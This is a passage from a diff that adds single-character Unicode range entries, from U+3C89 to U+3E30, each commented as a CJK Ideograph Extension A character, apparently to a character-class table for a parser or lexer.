+ ["\u3C89", "\u3C89"], /* CJK Ideograph Extension A */
+ ["\u3C8A", "\u3C8A"], /* CJK Ideograph Extension A */
+ ["\u3C8B", "\u3C8B"], /* CJK Ideograph Extension A */
+ ["\u3C8C", "\u3C8C"], /* CJK Ideograph Extension A */
+ ["\u3C8D", "\u3C8D"], /* CJK Ideograph Extension A */
+ ["\u3C8E", "\u3C8E"], /* CJK Ideograph Extension A */
+ ["\u3C8F", "\u3C8F"], /* CJK Ideograph Extension A */
+ ["\u3C90", "\u3C90"], /* CJK Ideograph Extension A */
+ ["\u3C91", "\u3C91"], /* CJK Ideograph Extension A */
+ ["\u3C92", "\u3C92"], /* CJK Ideograph Extension A */
+ ["\u3C93", "\u3C93"], /* CJK Ideograph Extension A */
+ ["\u3C94", "\u3C94"], /* CJK Ideograph Extension A */
+ ["\u3C95", "\u3C95"], /* CJK Ideograph Extension A */
+ ["\u3C96", "\u3C96"], /* CJK Ideograph Extension A */
+ ["\u3C97", "\u3C97"], /* CJK Ideograph Extension A */
+ ["\u3C98", "\u3C98"], /* CJK Ideograph Extension A */
+ ["\u3C99", "\u3C99"], /* CJK Ideograph Extension A */
+ ["\u3C9A", "\u3C9A"], /* CJK Ideograph Extension A */
+ ["\u3C9B", "\u3C9B"], /* CJK Ideograph Extension A */
+ ["\u3C9C", "\u3C9C"], /* CJK Ideograph Extension A */
+ ["\u3C9D", "\u3C9D"], /* CJK Ideograph Extension A */
+ ["\u3C9E", "\u3C9E"], /* CJK Ideograph Extension A */
+ ["\u3C9F", "\u3C9F"], /* CJK Ideograph Extension A */
+ ["\u3CA0", "\u3CA0"], /* CJK Ideograph Extension A */
+ ["\u3CA1", "\u3CA1"], /* CJK Ideograph Extension A */
+ ["\u3CA2", "\u3CA2"], /* CJK Ideograph Extension A */
+ ["\u3CA3", "\u3CA3"], /* CJK Ideograph Extension A */
+ ["\u3CA4", "\u3CA4"], /* CJK Ideograph Extension A */
+ ["\u3CA5", "\u3CA5"], /* CJK Ideograph Extension A */
+ ["\u3CA6", "\u3CA6"], /* CJK Ideograph Extension A */
+ ["\u3CA7", "\u3CA7"], /* CJK Ideograph Extension A */
+ ["\u3CA8", "\u3CA8"], /* CJK Ideograph Extension A */
+ ["\u3CA9", "\u3CA9"], /* CJK Ideograph Extension A */
+ ["\u3CAA", "\u3CAA"], /* CJK Ideograph Extension A */
+ ["\u3CAB", "\u3CAB"], /* CJK Ideograph Extension A */
+ ["\u3CAC", "\u3CAC"], /* CJK Ideograph Extension A */
+ ["\u3CAD", "\u3CAD"], /* CJK Ideograph Extension A */
+ ["\u3CAE", "\u3CAE"], /* CJK Ideograph Extension A */
+ ["\u3CAF", "\u3CAF"], /* CJK Ideograph Extension A */
+ ["\u3CB0", "\u3CB0"], /* CJK Ideograph Extension A */
+ ["\u3CB1", "\u3CB1"], /* CJK Ideograph Extension A */
+ ["\u3CB2", "\u3CB2"], /* CJK Ideograph Extension A */
+ ["\u3CB3", "\u3CB3"], /* CJK Ideograph Extension A */
+ ["\u3CB4", "\u3CB4"], /* CJK Ideograph Extension A */
+ ["\u3CB5", "\u3CB5"], /* CJK Ideograph Extension A */
+ ["\u3CB6", "\u3CB6"], /* CJK Ideograph Extension A */
+ ["\u3CB7", "\u3CB7"], /* CJK Ideograph Extension A */
+ ["\u3CB8", "\u3CB8"], /* CJK Ideograph Extension A */
+ ["\u3CB9", "\u3CB9"], /* CJK Ideograph Extension A */
+ ["\u3CBA", "\u3CBA"], /* CJK Ideograph Extension A */
+ ["\u3CBB", "\u3CBB"], /* CJK Ideograph Extension A */
+ ["\u3CBC", "\u3CBC"], /* CJK Ideograph Extension A */
+ ["\u3CBD", "\u3CBD"], /* CJK Ideograph Extension A */
+ ["\u3CBE", "\u3CBE"], /* CJK Ideograph Extension A */
+ ["\u3CBF", "\u3CBF"], /* CJK Ideograph Extension A */
+ ["\u3CC0", "\u3CC0"], /* CJK Ideograph Extension A */
+ ["\u3CC1", "\u3CC1"], /* CJK Ideograph Extension A */
+ ["\u3CC2", "\u3CC2"], /* CJK Ideograph Extension A */
+ ["\u3CC3", "\u3CC3"], /* CJK Ideograph Extension A */
+ ["\u3CC4", "\u3CC4"], /* CJK Ideograph Extension A */
+ ["\u3CC5", "\u3CC5"], /* CJK Ideograph Extension A */
+ ["\u3CC6", "\u3CC6"], /* CJK Ideograph Extension A */
+ ["\u3CC7", "\u3CC7"], /* CJK Ideograph Extension A */
+ ["\u3CC8", "\u3CC8"], /* CJK Ideograph Extension A */
+ ["\u3CC9", "\u3CC9"], /* CJK Ideograph Extension A */
+ ["\u3CCA", "\u3CCA"], /* CJK Ideograph Extension A */
+ ["\u3CCB", "\u3CCB"], /* CJK Ideograph Extension A */
+ ["\u3CCC", "\u3CCC"], /* CJK Ideograph Extension A */
+ ["\u3CCD", "\u3CCD"], /* CJK Ideograph Extension A */
+ ["\u3CCE", "\u3CCE"], /* CJK Ideograph Extension A */
+ ["\u3CCF", "\u3CCF"], /* CJK Ideograph Extension A */
+ ["\u3CD0", "\u3CD0"], /* CJK Ideograph Extension A */
+ ["\u3CD1", "\u3CD1"], /* CJK Ideograph Extension A */
+ ["\u3CD2", "\u3CD2"], /* CJK Ideograph Extension A */
+ ["\u3CD3", "\u3CD3"], /* CJK Ideograph Extension A */
+ ["\u3CD4", "\u3CD4"], /* CJK Ideograph Extension A */
+ ["\u3CD5", "\u3CD5"], /* CJK Ideograph Extension A */
+ ["\u3CD6", "\u3CD6"], /* CJK Ideograph Extension A */
+ ["\u3CD7", "\u3CD7"], /* CJK Ideograph Extension A */
+ ["\u3CD8", "\u3CD8"], /* CJK Ideograph Extension A */
+ ["\u3CD9", "\u3CD9"], /* CJK Ideograph Extension A */
+ ["\u3CDA", "\u3CDA"], /* CJK Ideograph Extension A */
+ ["\u3CDB", "\u3CDB"], /* CJK Ideograph Extension A */
+ ["\u3CDC", "\u3CDC"], /* CJK Ideograph Extension A */
+ ["\u3CDD", "\u3CDD"], /* CJK Ideograph Extension A */
+ ["\u3CDE", "\u3CDE"], /* CJK Ideograph Extension A */
+ ["\u3CDF", "\u3CDF"], /* CJK Ideograph Extension A */
+ ["\u3CE0", "\u3CE0"], /* CJK Ideograph Extension A */
+ ["\u3CE1", "\u3CE1"], /* CJK Ideograph Extension A */
+ ["\u3CE2", "\u3CE2"], /* CJK Ideograph Extension A */
+ ["\u3CE3", "\u3CE3"], /* CJK Ideograph Extension A */
+ ["\u3CE4", "\u3CE4"], /* CJK Ideograph Extension A */
+ ["\u3CE5", "\u3CE5"], /* CJK Ideograph Extension A */
+ ["\u3CE6", "\u3CE6"], /* CJK Ideograph Extension A */
+ ["\u3CE7", "\u3CE7"], /* CJK Ideograph Extension A */
+ ["\u3CE8", "\u3CE8"], /* CJK Ideograph Extension A */
+ ["\u3CE9", "\u3CE9"], /* CJK Ideograph Extension A */
+ ["\u3CEA", "\u3CEA"], /* CJK Ideograph Extension A */
+ ["\u3CEB", "\u3CEB"], /* CJK Ideograph Extension A */
+ ["\u3CEC", "\u3CEC"], /* CJK Ideograph Extension A */
+ ["\u3CED", "\u3CED"], /* CJK Ideograph Extension A */
+ ["\u3CEE", "\u3CEE"], /* CJK Ideograph Extension A */
+ ["\u3CEF", "\u3CEF"], /* CJK Ideograph Extension A */
+ ["\u3CF0", "\u3CF0"], /* CJK Ideograph Extension A */
+ ["\u3CF1", "\u3CF1"], /* CJK Ideograph Extension A */
+ ["\u3CF2", "\u3CF2"], /* CJK Ideograph Extension A */
+ ["\u3CF3", "\u3CF3"], /* CJK Ideograph Extension A */
+ ["\u3CF4", "\u3CF4"], /* CJK Ideograph Extension A */
+ ["\u3CF5", "\u3CF5"], /* CJK Ideograph Extension A */
+ ["\u3CF6", "\u3CF6"], /* CJK Ideograph Extension A */
+ ["\u3CF7", "\u3CF7"], /* CJK Ideograph Extension A */
+ ["\u3CF8", "\u3CF8"], /* CJK Ideograph Extension A */
+ ["\u3CF9", "\u3CF9"], /* CJK Ideograph Extension A */
+ ["\u3CFA", "\u3CFA"], /* CJK Ideograph Extension A */
+ ["\u3CFB", "\u3CFB"], /* CJK Ideograph Extension A */
+ ["\u3CFC", "\u3CFC"], /* CJK Ideograph Extension A */
+ ["\u3CFD", "\u3CFD"], /* CJK Ideograph Extension A */
+ ["\u3CFE", "\u3CFE"], /* CJK Ideograph Extension A */
+ ["\u3CFF", "\u3CFF"], /* CJK Ideograph Extension A */
+ ["\u3D00", "\u3D00"], /* CJK Ideograph Extension A */
+ ["\u3D01", "\u3D01"], /* CJK Ideograph Extension A */
+ ["\u3D02", "\u3D02"], /* CJK Ideograph Extension A */
+ ["\u3D03", "\u3D03"], /* CJK Ideograph Extension A */
+ ["\u3D04", "\u3D04"], /* CJK Ideograph Extension A */
+ ["\u3D05", "\u3D05"], /* CJK Ideograph Extension A */
+ ["\u3D06", "\u3D06"], /* CJK Ideograph Extension A */
+ ["\u3D07", "\u3D07"], /* CJK Ideograph Extension A */
+ ["\u3D08", "\u3D08"], /* CJK Ideograph Extension A */
+ ["\u3D09", "\u3D09"], /* CJK Ideograph Extension A */
+ ["\u3D0A", "\u3D0A"], /* CJK Ideograph Extension A */
+ ["\u3D0B", "\u3D0B"], /* CJK Ideograph Extension A */
+ ["\u3D0C", "\u3D0C"], /* CJK Ideograph Extension A */
+ ["\u3D0D", "\u3D0D"], /* CJK Ideograph Extension A */
+ ["\u3D0E", "\u3D0E"], /* CJK Ideograph Extension A */
+ ["\u3D0F", "\u3D0F"], /* CJK Ideograph Extension A */
+ ["\u3D10", "\u3D10"], /* CJK Ideograph Extension A */
+ ["\u3D11", "\u3D11"], /* CJK Ideograph Extension A */
+ ["\u3D12", "\u3D12"], /* CJK Ideograph Extension A */
+ ["\u3D13", "\u3D13"], /* CJK Ideograph Extension A */
+ ["\u3D14", "\u3D14"], /* CJK Ideograph Extension A */
+ ["\u3D15", "\u3D15"], /* CJK Ideograph Extension A */
+ ["\u3D16", "\u3D16"], /* CJK Ideograph Extension A */
+ ["\u3D17", "\u3D17"], /* CJK Ideograph Extension A */
+ ["\u3D18", "\u3D18"], /* CJK Ideograph Extension A */
+ ["\u3D19", "\u3D19"], /* CJK Ideograph Extension A */
+ ["\u3D1A", "\u3D1A"], /* CJK Ideograph Extension A */
+ ["\u3D1B", "\u3D1B"], /* CJK Ideograph Extension A */
+ ["\u3D1C", "\u3D1C"], /* CJK Ideograph Extension A */
+ ["\u3D1D", "\u3D1D"], /* CJK Ideograph Extension A */
+ ["\u3D1E", "\u3D1E"], /* CJK Ideograph Extension A */
+ ["\u3D1F", "\u3D1F"], /* CJK Ideograph Extension A */
+ ["\u3D20", "\u3D20"], /* CJK Ideograph Extension A */
+ ["\u3D21", "\u3D21"], /* CJK Ideograph Extension A */
+ ["\u3D22", "\u3D22"], /* CJK Ideograph Extension A */
+ ["\u3D23", "\u3D23"], /* CJK Ideograph Extension A */
+ ["\u3D24", "\u3D24"], /* CJK Ideograph Extension A */
+ ["\u3D25", "\u3D25"], /* CJK Ideograph Extension A */
+ ["\u3D26", "\u3D26"], /* CJK Ideograph Extension A */
+ ["\u3D27", "\u3D27"], /* CJK Ideograph Extension A */
+ ["\u3D28", "\u3D28"], /* CJK Ideograph Extension A */
+ ["\u3D29", "\u3D29"], /* CJK Ideograph Extension A */
+ ["\u3D2A", "\u3D2A"], /* CJK Ideograph Extension A */
+ ["\u3D2B", "\u3D2B"], /* CJK Ideograph Extension A */
+ ["\u3D2C", "\u3D2C"], /* CJK Ideograph Extension A */
+ ["\u3D2D", "\u3D2D"], /* CJK Ideograph Extension A */
+ ["\u3D2E", "\u3D2E"], /* CJK Ideograph Extension A */
+ ["\u3D2F", "\u3D2F"], /* CJK Ideograph Extension A */
+ ["\u3D30", "\u3D30"], /* CJK Ideograph Extension A */
+ ["\u3D31", "\u3D31"], /* CJK Ideograph Extension A */
+ ["\u3D32", "\u3D32"], /* CJK Ideograph Extension A */
+ ["\u3D33", "\u3D33"], /* CJK Ideograph Extension A */
+ ["\u3D34", "\u3D34"], /* CJK Ideograph Extension A */
+ ["\u3D35", "\u3D35"], /* CJK Ideograph Extension A */
+ ["\u3D36", "\u3D36"], /* CJK Ideograph Extension A */
+ ["\u3D37", "\u3D37"], /* CJK Ideograph Extension A */
+ ["\u3D38", "\u3D38"], /* CJK Ideograph Extension A */
+ ["\u3D39", "\u3D39"], /* CJK Ideograph Extension A */
+ ["\u3D3A", "\u3D3A"], /* CJK Ideograph Extension A */
+ ["\u3D3B", "\u3D3B"], /* CJK Ideograph Extension A */
+ ["\u3D3C", "\u3D3C"], /* CJK Ideograph Extension A */
+ ["\u3D3D", "\u3D3D"], /* CJK Ideograph Extension A */
+ ["\u3D3E", "\u3D3E"], /* CJK Ideograph Extension A */
+ ["\u3D3F", "\u3D3F"], /* CJK Ideograph Extension A */
+ ["\u3D40", "\u3D40"], /* CJK Ideograph Extension A */
+ ["\u3D41", "\u3D41"], /* CJK Ideograph Extension A */
+ ["\u3D42", "\u3D42"], /* CJK Ideograph Extension A */
+ ["\u3D43", "\u3D43"], /* CJK Ideograph Extension A */
+ ["\u3D44", "\u3D44"], /* CJK Ideograph Extension A */
+ ["\u3D45", "\u3D45"], /* CJK Ideograph Extension A */
+ ["\u3D46", "\u3D46"], /* CJK Ideograph Extension A */
+ ["\u3D47", "\u3D47"], /* CJK Ideograph Extension A */
+ ["\u3D48", "\u3D48"], /* CJK Ideograph Extension A */
+ ["\u3D49", "\u3D49"], /* CJK Ideograph Extension A */
+ ["\u3D4A", "\u3D4A"], /* CJK Ideograph Extension A */
+ ["\u3D4B", "\u3D4B"], /* CJK Ideograph Extension A */
+ ["\u3D4C", "\u3D4C"], /* CJK Ideograph Extension A */
+ ["\u3D4D", "\u3D4D"], /* CJK Ideograph Extension A */
+ ["\u3D4E", "\u3D4E"], /* CJK Ideograph Extension A */
+ ["\u3D4F", "\u3D4F"], /* CJK Ideograph Extension A */
+ ["\u3D50", "\u3D50"], /* CJK Ideograph Extension A */
+ ["\u3D51", "\u3D51"], /* CJK Ideograph Extension A */
+ ["\u3D52", "\u3D52"], /* CJK Ideograph Extension A */
+ ["\u3D53", "\u3D53"], /* CJK Ideograph Extension A */
+ ["\u3D54", "\u3D54"], /* CJK Ideograph Extension A */
+ ["\u3D55", "\u3D55"], /* CJK Ideograph Extension A */
+ ["\u3D56", "\u3D56"], /* CJK Ideograph Extension A */
+ ["\u3D57", "\u3D57"], /* CJK Ideograph Extension A */
+ ["\u3D58", "\u3D58"], /* CJK Ideograph Extension A */
+ ["\u3D59", "\u3D59"], /* CJK Ideograph Extension A */
+ ["\u3D5A", "\u3D5A"], /* CJK Ideograph Extension A */
+ ["\u3D5B", "\u3D5B"], /* CJK Ideograph Extension A */
+ ["\u3D5C", "\u3D5C"], /* CJK Ideograph Extension A */
+ ["\u3D5D", "\u3D5D"], /* CJK Ideograph Extension A */
+ ["\u3D5E", "\u3D5E"], /* CJK Ideograph Extension A */
+ ["\u3D5F", "\u3D5F"], /* CJK Ideograph Extension A */
+ ["\u3D60", "\u3D60"], /* CJK Ideograph Extension A */
+ ["\u3D61", "\u3D61"], /* CJK Ideograph Extension A */
+ ["\u3D62", "\u3D62"], /* CJK Ideograph Extension A */
+ ["\u3D63", "\u3D63"], /* CJK Ideograph Extension A */
+ ["\u3D64", "\u3D64"], /* CJK Ideograph Extension A */
+ ["\u3D65", "\u3D65"], /* CJK Ideograph Extension A */
+ ["\u3D66", "\u3D66"], /* CJK Ideograph Extension A */
+ ["\u3D67", "\u3D67"], /* CJK Ideograph Extension A */
+ ["\u3D68", "\u3D68"], /* CJK Ideograph Extension A */
+ ["\u3D69", "\u3D69"], /* CJK Ideograph Extension A */
+ ["\u3D6A", "\u3D6A"], /* CJK Ideograph Extension A */
+ ["\u3D6B", "\u3D6B"], /* CJK Ideograph Extension A */
+ ["\u3D6C", "\u3D6C"], /* CJK Ideograph Extension A */
+ ["\u3D6D", "\u3D6D"], /* CJK Ideograph Extension A */
+ ["\u3D6E", "\u3D6E"], /* CJK Ideograph Extension A */
+ ["\u3D6F", "\u3D6F"], /* CJK Ideograph Extension A */
+ ["\u3D70", "\u3D70"], /* CJK Ideograph Extension A */
+ ["\u3D71", "\u3D71"], /* CJK Ideograph Extension A */
+ ["\u3D72", "\u3D72"], /* CJK Ideograph Extension A */
+ ["\u3D73", "\u3D73"], /* CJK Ideograph Extension A */
+ ["\u3D74", "\u3D74"], /* CJK Ideograph Extension A */
+ ["\u3D75", "\u3D75"], /* CJK Ideograph Extension A */
+ ["\u3D76", "\u3D76"], /* CJK Ideograph Extension A */
+ ["\u3D77", "\u3D77"], /* CJK Ideograph Extension A */
+ ["\u3D78", "\u3D78"], /* CJK Ideograph Extension A */
+ ["\u3D79", "\u3D79"], /* CJK Ideograph Extension A */
+ ["\u3D7A", "\u3D7A"], /* CJK Ideograph Extension A */
+ ["\u3D7B", "\u3D7B"], /* CJK Ideograph Extension A */
+ ["\u3D7C", "\u3D7C"], /* CJK Ideograph Extension A */
+ ["\u3D7D", "\u3D7D"], /* CJK Ideograph Extension A */
+ ["\u3D7E", "\u3D7E"], /* CJK Ideograph Extension A */
+ ["\u3D7F", "\u3D7F"], /* CJK Ideograph Extension A */
+ ["\u3D80", "\u3D80"], /* CJK Ideograph Extension A */
+ ["\u3D81", "\u3D81"], /* CJK Ideograph Extension A */
+ ["\u3D82", "\u3D82"], /* CJK Ideograph Extension A */
+ ["\u3D83", "\u3D83"], /* CJK Ideograph Extension A */
+ ["\u3D84", "\u3D84"], /* CJK Ideograph Extension A */
+ ["\u3D85", "\u3D85"], /* CJK Ideograph Extension A */
+ ["\u3D86", "\u3D86"], /* CJK Ideograph Extension A */
+ ["\u3D87", "\u3D87"], /* CJK Ideograph Extension A */
+ ["\u3D88", "\u3D88"], /* CJK Ideograph Extension A */
+ ["\u3D89", "\u3D89"], /* CJK Ideograph Extension A */
+ ["\u3D8A", "\u3D8A"], /* CJK Ideograph Extension A */
+ ["\u3D8B", "\u3D8B"], /* CJK Ideograph Extension A */
+ ["\u3D8C", "\u3D8C"], /* CJK Ideograph Extension A */
+ ["\u3D8D", "\u3D8D"], /* CJK Ideograph Extension A */
+ ["\u3D8E", "\u3D8E"], /* CJK Ideograph Extension A */
+ ["\u3D8F", "\u3D8F"], /* CJK Ideograph Extension A */
+ ["\u3D90", "\u3D90"], /* CJK Ideograph Extension A */
+ ["\u3D91", "\u3D91"], /* CJK Ideograph Extension A */
+ ["\u3D92", "\u3D92"], /* CJK Ideograph Extension A */
+ ["\u3D93", "\u3D93"], /* CJK Ideograph Extension A */
+ ["\u3D94", "\u3D94"], /* CJK Ideograph Extension A */
+ ["\u3D95", "\u3D95"], /* CJK Ideograph Extension A */
+ ["\u3D96", "\u3D96"], /* CJK Ideograph Extension A */
+ ["\u3D97", "\u3D97"], /* CJK Ideograph Extension A */
+ ["\u3D98", "\u3D98"], /* CJK Ideograph Extension A */
+ ["\u3D99", "\u3D99"], /* CJK Ideograph Extension A */
+ ["\u3D9A", "\u3D9A"], /* CJK Ideograph Extension A */
+ ["\u3D9B", "\u3D9B"], /* CJK Ideograph Extension A */
+ ["\u3D9C", "\u3D9C"], /* CJK Ideograph Extension A */
+ ["\u3D9D", "\u3D9D"], /* CJK Ideograph Extension A */
+ ["\u3D9E", "\u3D9E"], /* CJK Ideograph Extension A */
+ ["\u3D9F", "\u3D9F"], /* CJK Ideograph Extension A */
+ ["\u3DA0", "\u3DA0"], /* CJK Ideograph Extension A */
+ ["\u3DA1", "\u3DA1"], /* CJK Ideograph Extension A */
+ ["\u3DA2", "\u3DA2"], /* CJK Ideograph Extension A */
+ ["\u3DA3", "\u3DA3"], /* CJK Ideograph Extension A */
+ ["\u3DA4", "\u3DA4"], /* CJK Ideograph Extension A */
+ ["\u3DA5", "\u3DA5"], /* CJK Ideograph Extension A */
+ ["\u3DA6", "\u3DA6"], /* CJK Ideograph Extension A */
+ ["\u3DA7", "\u3DA7"], /* CJK Ideograph Extension A */
+ ["\u3DA8", "\u3DA8"], /* CJK Ideograph Extension A */
+ ["\u3DA9", "\u3DA9"], /* CJK Ideograph Extension A */
+ ["\u3DAA", "\u3DAA"], /* CJK Ideograph Extension A */
+ ["\u3DAB", "\u3DAB"], /* CJK Ideograph Extension A */
+ ["\u3DAC", "\u3DAC"], /* CJK Ideograph Extension A */
+ ["\u3DAD", "\u3DAD"], /* CJK Ideograph Extension A */
+ ["\u3DAE", "\u3DAE"], /* CJK Ideograph Extension A */
+ ["\u3DAF", "\u3DAF"], /* CJK Ideograph Extension A */
+ ["\u3DB0", "\u3DB0"], /* CJK Ideograph Extension A */
+ ["\u3DB1", "\u3DB1"], /* CJK Ideograph Extension A */
+ ["\u3DB2", "\u3DB2"], /* CJK Ideograph Extension A */
+ ["\u3DB3", "\u3DB3"], /* CJK Ideograph Extension A */
+ ["\u3DB4", "\u3DB4"], /* CJK Ideograph Extension A */
+ ["\u3DB5", "\u3DB5"], /* CJK Ideograph Extension A */
+ ["\u3DB6", "\u3DB6"], /* CJK Ideograph Extension A */
+ ["\u3DB7", "\u3DB7"], /* CJK Ideograph Extension A */
+ ["\u3DB8", "\u3DB8"], /* CJK Ideograph Extension A */
+ ["\u3DB9", "\u3DB9"], /* CJK Ideograph Extension A */
+ ["\u3DBA", "\u3DBA"], /* CJK Ideograph Extension A */
+ ["\u3DBB", "\u3DBB"], /* CJK Ideograph Extension A */
+ ["\u3DBC", "\u3DBC"], /* CJK Ideograph Extension A */
+ ["\u3DBD", "\u3DBD"], /* CJK Ideograph Extension A */
+ ["\u3DBE", "\u3DBE"], /* CJK Ideograph Extension A */
+ ["\u3DBF", "\u3DBF"], /* CJK Ideograph Extension A */
+ ["\u3DC0", "\u3DC0"], /* CJK Ideograph Extension A */
+ ["\u3DC1", "\u3DC1"], /* CJK Ideograph Extension A */
+ ["\u3DC2", "\u3DC2"], /* CJK Ideograph Extension A */
+ ["\u3DC3", "\u3DC3"], /* CJK Ideograph Extension A */
+ ["\u3DC4", "\u3DC4"], /* CJK Ideograph Extension A */
+ ["\u3DC5", "\u3DC5"], /* CJK Ideograph Extension A */
+ ["\u3DC6", "\u3DC6"], /* CJK Ideograph Extension A */
+ ["\u3DC7", "\u3DC7"], /* CJK Ideograph Extension A */
+ ["\u3DC8", "\u3DC8"], /* CJK Ideograph Extension A */
+ ["\u3DC9", "\u3DC9"], /* CJK Ideograph Extension A */
+ ["\u3DCA", "\u3DCA"], /* CJK Ideograph Extension A */
+ ["\u3DCB", "\u3DCB"], /* CJK Ideograph Extension A */
+ ["\u3DCC", "\u3DCC"], /* CJK Ideograph Extension A */
+ ["\u3DCD", "\u3DCD"], /* CJK Ideograph Extension A */
+ ["\u3DCE", "\u3DCE"], /* CJK Ideograph Extension A */
+ ["\u3DCF", "\u3DCF"], /* CJK Ideograph Extension A */
+ ["\u3DD0", "\u3DD0"], /* CJK Ideograph Extension A */
+ ["\u3DD1", "\u3DD1"], /* CJK Ideograph Extension A */
+ ["\u3DD2", "\u3DD2"], /* CJK Ideograph Extension A */
+ ["\u3DD3", "\u3DD3"], /* CJK Ideograph Extension A */
+ ["\u3DD4", "\u3DD4"], /* CJK Ideograph Extension A */
+ ["\u3DD5", "\u3DD5"], /* CJK Ideograph Extension A */
+ ["\u3DD6", "\u3DD6"], /* CJK Ideograph Extension A */
+ ["\u3DD7", "\u3DD7"], /* CJK Ideograph Extension A */
+ ["\u3DD8", "\u3DD8"], /* CJK Ideograph Extension A */
+ ["\u3DD9", "\u3DD9"], /* CJK Ideograph Extension A */
+ ["\u3DDA", "\u3DDA"], /* CJK Ideograph Extension A */
+ ["\u3DDB", "\u3DDB"], /* CJK Ideograph Extension A */
+ ["\u3DDC", "\u3DDC"], /* CJK Ideograph Extension A */
+ ["\u3DDD", "\u3DDD"], /* CJK Ideograph Extension A */
+ ["\u3DDE", "\u3DDE"], /* CJK Ideograph Extension A */
+ ["\u3DDF", "\u3DDF"], /* CJK Ideograph Extension A */
+ ["\u3DE0", "\u3DE0"], /* CJK Ideograph Extension A */
+ ["\u3DE1", "\u3DE1"], /* CJK Ideograph Extension A */
+ ["\u3DE2", "\u3DE2"], /* CJK Ideograph Extension A */
+ ["\u3DE3", "\u3DE3"], /* CJK Ideograph Extension A */
+ ["\u3DE4", "\u3DE4"], /* CJK Ideograph Extension A */
+ ["\u3DE5", "\u3DE5"], /* CJK Ideograph Extension A */
+ ["\u3DE6", "\u3DE6"], /* CJK Ideograph Extension A */
+ ["\u3DE7", "\u3DE7"], /* CJK Ideograph Extension A */
+ ["\u3DE8", "\u3DE8"], /* CJK Ideograph Extension A */
+ ["\u3DE9", "\u3DE9"], /* CJK Ideograph Extension A */
+ ["\u3DEA", "\u3DEA"], /* CJK Ideograph Extension A */
+ ["\u3DEB", "\u3DEB"], /* CJK Ideograph Extension A */
+ ["\u3DEC", "\u3DEC"], /* CJK Ideograph Extension A */
+ ["\u3DED", "\u3DED"], /* CJK Ideograph Extension A */
+ ["\u3DEE", "\u3DEE"], /* CJK Ideograph Extension A */
+ ["\u3DEF", "\u3DEF"], /* CJK Ideograph Extension A */
+ ["\u3DF0", "\u3DF0"], /* CJK Ideograph Extension A */
+ ["\u3DF1", "\u3DF1"], /* CJK Ideograph Extension A */
+ ["\u3DF2", "\u3DF2"], /* CJK Ideograph Extension A */
+ ["\u3DF3", "\u3DF3"], /* CJK Ideograph Extension A */
+ ["\u3DF4", "\u3DF4"], /* CJK Ideograph Extension A */
+ ["\u3DF5", "\u3DF5"], /* CJK Ideograph Extension A */
+ ["\u3DF6", "\u3DF6"], /* CJK Ideograph Extension A */
+ ["\u3DF7", "\u3DF7"], /* CJK Ideograph Extension A */
+ ["\u3DF8", "\u3DF8"], /* CJK Ideograph Extension A */
+ ["\u3DF9", "\u3DF9"], /* CJK Ideograph Extension A */
+ ["\u3DFA", "\u3DFA"], /* CJK Ideograph Extension A */
+ ["\u3DFB", "\u3DFB"], /* CJK Ideograph Extension A */
+ ["\u3DFC", "\u3DFC"], /* CJK Ideograph Extension A */
+ ["\u3DFD", "\u3DFD"], /* CJK Ideograph Extension A */
+ ["\u3DFE", "\u3DFE"], /* CJK Ideograph Extension A */
+ ["\u3DFF", "\u3DFF"], /* CJK Ideograph Extension A */
+ ["\u3E00", "\u3E00"], /* CJK Ideograph Extension A */
+ ["\u3E01", "\u3E01"], /* CJK Ideograph Extension A */
+ ["\u3E02", "\u3E02"], /* CJK Ideograph Extension A */
+ ["\u3E03", "\u3E03"], /* CJK Ideograph Extension A */
+ ["\u3E04", "\u3E04"], /* CJK Ideograph Extension A */
+ ["\u3E05", "\u3E05"], /* CJK Ideograph Extension A */
+ ["\u3E06", "\u3E06"], /* CJK Ideograph Extension A */
+ ["\u3E07", "\u3E07"], /* CJK Ideograph Extension A */
+ ["\u3E08", "\u3E08"], /* CJK Ideograph Extension A */
+ ["\u3E09", "\u3E09"], /* CJK Ideograph Extension A */
+ ["\u3E0A", "\u3E0A"], /* CJK Ideograph Extension A */
+ ["\u3E0B", "\u3E0B"], /* CJK Ideograph Extension A */
+ ["\u3E0C", "\u3E0C"], /* CJK Ideograph Extension A */
+ ["\u3E0D", "\u3E0D"], /* CJK Ideograph Extension A */
+ ["\u3E0E", "\u3E0E"], /* CJK Ideograph Extension A */
+ ["\u3E0F", "\u3E0F"], /* CJK Ideograph Extension A */
+ ["\u3E10", "\u3E10"], /* CJK Ideograph Extension A */
+ ["\u3E11", "\u3E11"], /* CJK Ideograph Extension A */
+ ["\u3E12", "\u3E12"], /* CJK Ideograph Extension A */
+ ["\u3E13", "\u3E13"], /* CJK Ideograph Extension A */
+ ["\u3E14", "\u3E14"], /* CJK Ideograph Extension A */
+ ["\u3E15", "\u3E15"], /* CJK Ideograph Extension A */
+ ["\u3E16", "\u3E16"], /* CJK Ideograph Extension A */
+ ["\u3E17", "\u3E17"], /* CJK Ideograph Extension A */
+ ["\u3E18", "\u3E18"], /* CJK Ideograph Extension A */
+ ["\u3E19", "\u3E19"], /* CJK Ideograph Extension A */
+ ["\u3E1A", "\u3E1A"], /* CJK Ideograph Extension A */
+ ["\u3E1B", "\u3E1B"], /* CJK Ideograph Extension A */
+ ["\u3E1C", "\u3E1C"], /* CJK Ideograph Extension A */
+ ["\u3E1D", "\u3E1D"], /* CJK Ideograph Extension A */
+ ["\u3E1E", "\u3E1E"], /* CJK Ideograph Extension A */
+ ["\u3E1F", "\u3E1F"], /* CJK Ideograph Extension A */
+ ["\u3E20", "\u3E20"], /* CJK Ideograph Extension A */
+ ["\u3E21", "\u3E21"], /* CJK Ideograph Extension A */
+ ["\u3E22", "\u3E22"], /* CJK Ideograph Extension A */
+ ["\u3E23", "\u3E23"], /* CJK Ideograph Extension A */
+ ["\u3E24", "\u3E24"], /* CJK Ideograph Extension A */
+ ["\u3E25", "\u3E25"], /* CJK Ideograph Extension A */
+ ["\u3E26", "\u3E26"], /* CJK Ideograph Extension A */
+ ["\u3E27", "\u3E27"], /* CJK Ideograph Extension A */
+ ["\u3E28", "\u3E28"], /* CJK Ideograph Extension A */
+ ["\u3E29", "\u3E29"], /* CJK Ideograph Extension A */
+ ["\u3E2A", "\u3E2A"], /* CJK Ideograph Extension A */
+ ["\u3E2B", "\u3E2B"], /* CJK Ideograph Extension A */
+ ["\u3E2C", "\u3E2C"], /* CJK Ideograph Extension A */
+ ["\u3E2D", "\u3E2D"], /* CJK Ideograph Extension A */
+ ["\u3E2E", "\u3E2E"], /* CJK Ideograph Extension A */
+ ["\u3E2F", "\u3E2F"], /* CJK Ideograph Extension A */
+ ["\u3E30", "\u3E30"], /* CJK Ideograph Extension A */
